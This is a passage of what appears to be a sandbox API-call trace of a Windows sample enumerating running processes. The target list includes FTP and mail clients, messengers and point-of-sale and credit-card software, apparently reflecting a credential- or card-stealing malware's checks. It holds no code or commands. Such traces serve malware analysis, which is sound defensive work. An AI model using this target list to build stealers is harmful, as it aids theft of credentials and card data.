cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0274.812] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0274.815] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0274.818] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0274.820] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0274.823] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0274.826] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0274.828] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0274.831] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0274.834] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0274.884] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0274.887] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0274.889] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0274.892] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0274.895] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0274.898] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0274.900] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0274.903] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0274.905] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0274.908] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0274.912] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0274.914] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0274.917] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0274.920] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0274.922] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0274.959] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0274.961] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0274.964] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0274.967] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0274.969] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0274.972] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0274.974] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0274.976] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0274.979] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0274.981] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0274.983] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0274.986] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0274.991] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0274.993] CloseHandle (hObject=0x344) returned 1 [0274.993] Sleep (dwMilliseconds=0x64) [0275.037] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0275.053] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0275.056] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0275.058] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0275.060] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0275.063] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0275.065] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0275.067] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0275.070] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0275.072] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0275.075] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.077] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.080] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0275.164] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.167] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.169] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.172] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.175] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.177] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.180] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.182] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0275.184] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0275.186] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0275.188] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.191] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0275.193] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0275.196] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0275.198] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0275.200] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.202] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0275.205] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0275.243] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0275.245] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0275.248] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0275.250] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0275.252] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0275.255] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0275.258] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0275.260] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0275.262] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0275.264] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0275.267] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0275.272] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0275.275] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0275.319] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0275.321] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0275.324] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0275.326] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, 